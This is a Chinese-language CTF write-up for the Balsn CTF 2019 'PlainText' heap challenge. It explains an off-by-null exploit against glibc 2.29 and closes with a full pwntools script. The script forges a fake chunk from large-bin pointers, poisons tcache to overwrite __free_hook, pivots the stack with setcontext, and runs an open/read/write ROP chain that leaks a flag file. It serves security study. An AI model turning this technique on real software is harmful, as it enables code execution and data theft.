Balsn_CTF_2019-PlainText-WP

Posted on Apr 22, 2021

这道题确实是比较难,卡了很多天,又花了很久才复现出来。

漏洞点分析

程序的流程比较清晰简单,在 add 函数中,存在明显的 off-by-null。

而 free 中对被 free 的指针进行了置空,导致无法直接 show,而程序对我们的输入末尾附加 \x00,也无法使用释放再申请的方法,leak 比较困难。

利用思路

在 libc-2.29 以前,向低地址合并的代码为

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

在这种情况下,由于 unlink 时没有对被合并的堆块的大小进行检测,我们在利用的时候就会相对容易,比如可以通过 unlink 一个真实的小 chunk 来实现,但是在 libc-2.29 及以后的版本中

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

合并代码变成了这样,添加了对被 unlink 的堆块的大小检测。我们难以控制一个真实 chunk 的 size 字段,被 unlink 的 chunk 必须要和下一个 chunk 相连。

而伪造的方式就是使用 large bin 遗留的 fd_nextsize 和 bk_nextsize 指针。以 fd_nextsize 为 fake_chunk 的 fd,bk_nextsize 为 fake_chunk 的 bk,这样我们可以完全控制该 fake_chunk 的 size 字段(这个过程会破坏原 large bin chunk 的 fd 指针,但是没有关系),同时还可以控制其 fd(通过部分覆写 fd_nextsize)。通过在后面使用其他的 chunk 辅助伪造,可以通过该检测

  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

然后只需要通过 unlink 的检测就可以了,也就是 fd->bk == p && bk->fd == p

如果 large bin 中仅有一个 chunk,那么该 chunk 的两个 nextsize 指针都会指向自己,如下

我们可以控制 fd_nextsize 指向堆上的任意地址,可以容易地使之指向一个 fastbin + 0x10 - 0x18,而 fastbin 中的 fd 也会指向堆上的一个地址,通过部分覆写该指针也可以使该指针指向之前的 large bin + 0x10,这样就可以通过 fd->bk == p 的检测。

由于 bk_nextsize 我们无法修改,所以 bk->fd 必然在原先的 large bin chunk 的 fd 指针处(这个 fd 被我们破坏了)。通过 fastbin 的链表特性可以做到修改这个指针且不影响其他的数据,再部分覆写之就可以通过 bk->fd==p 的检测了。

然后通过 off-by-one 向低地址合并就可以实现 chunk overlapping 了,之后可以 leak libc_base 和 堆地址,tcache 打 __free_hook 即可。

利用方法

为了调试方便,建议先关闭 aslr。

一开始的时候 bin 中非常的杂乱,先把这些乱七八糟的东西申请出来

for i in range(16):
    add(0x10,'fill')

for i in range(16):
    add(0x60,'fill')

for i in range(9):
    add(0x70,'fill')

for i in range(5):
    add(0xC0,'fill')

for i in range(2):
    add(0xE0,'fill')

add(0x170,'fill')
add(0x190,'fill')
# 49

由于我们部分覆写的时候会被附加一个 \x00,所以需要调整堆地址,为了调试方便,我选择这样调整,具体原因马上说

add(0x2A50,'addralign') # 50

然后进行堆布局

首先申请出一个较大的堆块,释放掉,再申请一个更大的堆块,让被释放的堆块进入 large bin

add(0xFF8,'large bin') # 51
add(0x18,'protect') # 52


delete(51)
add(0x2000,'push to large bin') # 51

由于之前进行的堆地址调整,在我的 gdb 中,该 large bin 的低地址的低 16 位就都是 0 了(这也就是之前堆地址调整时那样调整的原因。当然这只是在调试的情况下,实际打的时候只有低 12 位能保证为零,需要爆破 4 位,概率 1/16)。

然后进行这样的布局

add(0x28,p64(0) + p64(0x241) + '\x28') # 53 fd->bk : 0xA0 - 0x18

add(0x28,'pass-loss control') # 54
add(0xF8,'pass') # 55
add(0x28,'pass') # 56
add(0x28,'pass') # 57
add(0x28,'pass') # 58
add(0x28,'pass') # 59
add(0x28,'pass-loss control') # 60
add(0x4F8,'to be off-by-null') # 61

形成的效果就是上面这张图的样子。其中 chunk A 完成了对 fake chunk 的 size 和 fd,bk 指针的布局。其中 fd 将指向 &chunk_B - 0x18并且破坏了 largebin 的 fd,之后我们会修复这个 fd 并使之指向 fake chunk。

由于 fake chunk 的 fd 指向 &chunk_B - 0x18,我们希望 chunk B 的 fd 指向 fake chunk。所以我们需要先把它 free 掉再申请回来,然后部分覆写 fd 来实现。

chunk E 存在的意义是抬高堆地址,使之后 leak 堆地址的时候可以全部输出。

在 chunk E 和 chunk C 中夹了一些 chunk,这些 chunk 会被 overlapping,便于之后继续利用了,建议多夹一些,免得后来发现不够用。

chunk C 未来会用来对 chunk D off-by-null,然后 free chunk D 的时候就可以向地址和并了。


fake chunk 的 size 已经被修改好,我们不希望在修复 large bin 的 fd 的同时把这个 size 破坏掉,所以必须把 chunk A free 到 fastbin 中。也需要把 chunk B 和 chunk C free 掉,并且希望 chunk B 的 fd 指针指向一个堆地址,部分覆写后就可以使之指向 fake_chunk 了。

for i in range(7):
    add(0x28,'tcache')
for i in range(7):
    delete(61 + 1 + i)

delete(54)
delete(60)
delete(53)

for i in range(7):
    add(0x28,'tcache')

# 53,54,60,62,63,64,65

add(0x28,'\x10') # 53->66
## stashed ##
add(0x28,'\x10') # 54->67
add(0x28,'a' * 0x20 + p64(0x240)) # 60->68
delete(61)

就是这样,先把 Tcache 填满,然后依次 free chunk B C A,再把 Tcache 清空,然后申请回 chunk A,部分覆写,使 fd 指向 fake_chunk。

然后由于 Tcache 的 stash 机制,chunk B C 进入 Tcache,再申请回来的就是 chunk B,部分覆写使 fd 指向 fake_chunk。

然后申请回 chunk C,进行 off-by-null。

free chunk D,成功实现 chunk overlapping。

然后进行 leak,需要把堆地址和 libc 地址都 leak 出来,leak 的方法有许多,这里提供一种(这种方法肯定不是最好的方法,但是可以完成 leak 就行)

add(0x140,'pass') # 61
show(56)
libc_base = u64(sh.recv(6).ljust(0x8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60
log.success("libc_base:" + hex(libc_base))
__free_hook_addr = libc_base + libc.sym["__free_hook"]

add(0x28,'pass') # 69<-56
add(0x28,'pass') # 70<-57
delete(70)
delete(69)
show(56)
heap_base = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x1A0
log.success("heap_base:" + hex(heap_base))

然后进行 Tcache poisoning(这里我被卡了一小会,主要原因是一直想着通过 double free 来实现,这种想法确实挺蠢的,需要注意,Tcache poisoning 的利用只需要控制 next 指针就可以了,double free 往往是实现控制的方法,而不是必须,在本题有更好的方法,就不需要 double free 了)。

add(0x28,p64(0) * 2) # 69<-56
add(0x28,p64(0) * 2) # 70<-57
add(0x28,p64(0) * 2) # 71<-58
delete(68)
add(0x60,p64(0) * 5 + p64(0x31) + p64(__free_hook_addr)) # 68
add(0x28,'pass') # 72
## alloc to __free_hook ##
magic_gadget = libc_base + 0x12be97
add(0x28,p64(magic_gadget)) # 73

因为有 chunk overlapping,所以其实挺容易控制 next 指针的,比如通过上面这样的方法就可以分配到 __free_hook 了。

白名单绕过

这个真的是非常操蛋了,题目本来就挺难的了,还加一层白名单,需要 orw,确实是比较麻烦。这种情况下,最需要的是进行栈迁移,然后 rop。

了解到一般考虑使用 setcontext 函数来进行栈迁移,其实现为

.text:0000000000055E00 ; __unwind {
.text:0000000000055E00                 push    rdi
.text:0000000000055E01                 lea     rsi, [rdi+128h] ; nset
.text:0000000000055E08                 xor     edx, edx        ; oset
.text:0000000000055E0A                 mov     edi, 2          ; how
.text:0000000000055E0F                 mov     r10d, 8         ; sigsetsize
.text:0000000000055E15                 mov     eax, 0Eh
.text:0000000000055E1A                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:0000000000055E1C                 pop     rdx
.text:0000000000055E1D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23                 jnb     short loc_55E80
.text:0000000000055E25                 mov     rcx, [rdx+0E0h]
.text:0000000000055E2C                 fldenv  byte ptr [rcx]
.text:0000000000055E2E                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35                 mov     rsp, [rdx+0A0h]
.text:0000000000055E3C                 mov     rbx, [rdx+80h]
.text:0000000000055E43                 mov     rbp, [rdx+78h]
.text:0000000000055E47                 mov     r12, [rdx+48h]
.text:0000000000055E4B                 mov     r13, [rdx+50h]
.text:0000000000055E4F                 mov     r14, [rdx+58h]
.text:0000000000055E53                 mov     r15, [rdx+60h]
.text:0000000000055E57                 mov     rcx, [rdx+0A8h]
.text:0000000000055E5E                 push    rcx
.text:0000000000055E5F                 mov     rsi, [rdx+70h]
.text:0000000000055E63                 mov     rdi, [rdx+68h]
.text:0000000000055E67                 mov     rcx, [rdx+98h]
.text:0000000000055E6E                 mov     r8, [rdx+28h]
.text:0000000000055E72                 mov     r9, [rdx+30h]
.text:0000000000055E76                 mov     rdx, [rdx+88h]
.text:0000000000055E76 ; } // starts at 55E00

从偏移 0x55E35 开始以 rdx 为基数对许多寄存器进行了赋值,也就是说如果控制了 rdx,那么就可以实现栈迁移。然而比较讨厌的是,rdx 我们无法直接控制,只能控制 rdi,幸好比较巧合的,在 libc 中有这样一个 gadget

0x12be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;

通过使用这个 gadget 之后改变 rdx,ret 到 setcontext 之后就可以 rop 了(这个 chunk 无法通过 ROPgadget 找出,需要使用 ropper)。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'

#sh = process("./note")
#libc = ELF("/glibc/2.29/64/lib/libc.so.6")
sh = process("./note-re")
libc = ELF("./libc-2.29.so")

def add(size,payload):
    sh.sendlineafter("Choice: ",'1')
    sh.sendlineafter("Size: ",str(size))
    sh.sendafter("Content: ",payload)

def delete(index):
    sh.sendlineafter("Choice: ",'2')
    sh.sendlineafter("Idx: ",str(index))

def show(index):
    sh.sendlineafter("Choice: ",'3')
    sh.sendlineafter("Idx: ",str(index))

for i in range(16):
    add(0x10,'fill')

for i in range(16):
    add(0x60,'fill')

for i in range(9):
    add(0x70,'fill')

for i in range(5):
    add(0xC0,'fill')

for i in range(2):
    add(0xE0,'fill')

add(0x170,'fill')
add(0x190,'fill')
# 49

add(0x2A50,'addralign') # 50
#add(0x4A50,'addralign') # 50

add(0xFF8,'large bin') # 51
add(0x18,'protect') # 52


delete(51)
add(0x2000,'push to large bin') # 51
add(0x28,p64(0) + p64(0x241) + '\x28') # 53 fd->bk : 0xA0 - 0x18

add(0x28,'pass-loss control') # 54
add(0xF8,'pass') # 55
add(0x28,'pass') # 56
add(0x28,'pass') # 57
add(0x28,'pass') # 58
add(0x28,'pass') # 59
add(0x28,'pass-loss control') # 60
add(0x4F8,'to be off-by-null') # 61

for i in range(7):
    add(0x28,'tcache')
for i in range(7):
    delete(61 + 1 + i)

delete(54)
delete(60)
delete(53)

for i in range(7):
    add(0x28,'tcache')

# 53,54,60,62,63,64,65

add(0x28,'\x10') # 53->66
## stashed ##
add(0x28,'\x10') # 54->67
add(0x28,'a' * 0x20 + p64(0x240)) # 60->68
delete(61)

add(0x140,'pass') # 61
show(56)
libc_base = u64(sh.recv(6).ljust(0x8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60
log.success("libc_base:" + hex(libc_base))
__free_hook_addr = libc_base + libc.sym["__free_hook"]

add(0x28,'pass') # 69<-56
add(0x28,'pass') # 70<-57
delete(70)
delete(69)
show(56)
heap_base = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x1A0
log.success("heap_base:" + hex(heap_base))

add(0x28,p64(0) * 2) # 69<-56
add(0x28,p64(0) * 2) # 70<-57
add(0x28,p64(0) * 2) # 71<-58
delete(68)
add(0x60,p64(0) * 5 + p64(0x31) + p64(__free_hook_addr)) # 68
add(0x28,'pass') # 72
## alloc to __free_hook ##
magic_gadget = libc_base + 0x12be97
add(0x28,p64(magic_gadget)) # 73

pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
syscall_ret = libc_base + 0xcf6c5
pop_rax_ret = libc_base + 0x47cf8
ret = libc_base + 0xc18ff

payload_addr = heap_base + 0x270
str_flag_addr = heap_base + 0x270 + 5 * 0x8 + 0xB8
rw_addr = heap_base 

payload = p64(libc_base + 0x55E35) # rax
payload += p64(payload_addr - 0xA0 + 0x10) # rdx
payload += p64(payload_addr + 0x28)
payload += p64(ret)
payload += ''.ljust(0x8,'\x00')

rop_chain = ''
rop_chain += p64(pop_rdi_ret) + p64(str_flag_addr) # name = "./flag"
rop_chain += p64(pop_rsi_ret) + p64(0)
rop_chain += p64(pop_rdx_ret) + p64(0)
rop_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # sys_open
rop_chain += p64(pop_rdi_ret) + p64(3) # fd = 3
rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["read"])
rop_chain += p64(pop_rdi_ret) + p64(1) # fd = 1
rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["write"])

payload += rop_chain
payload += './flag\x00'
add(len(payload) + 0x10,payload) # 74
#gdb.attach(proc.pidof(sh)[0])
delete(74)


sh.interactive()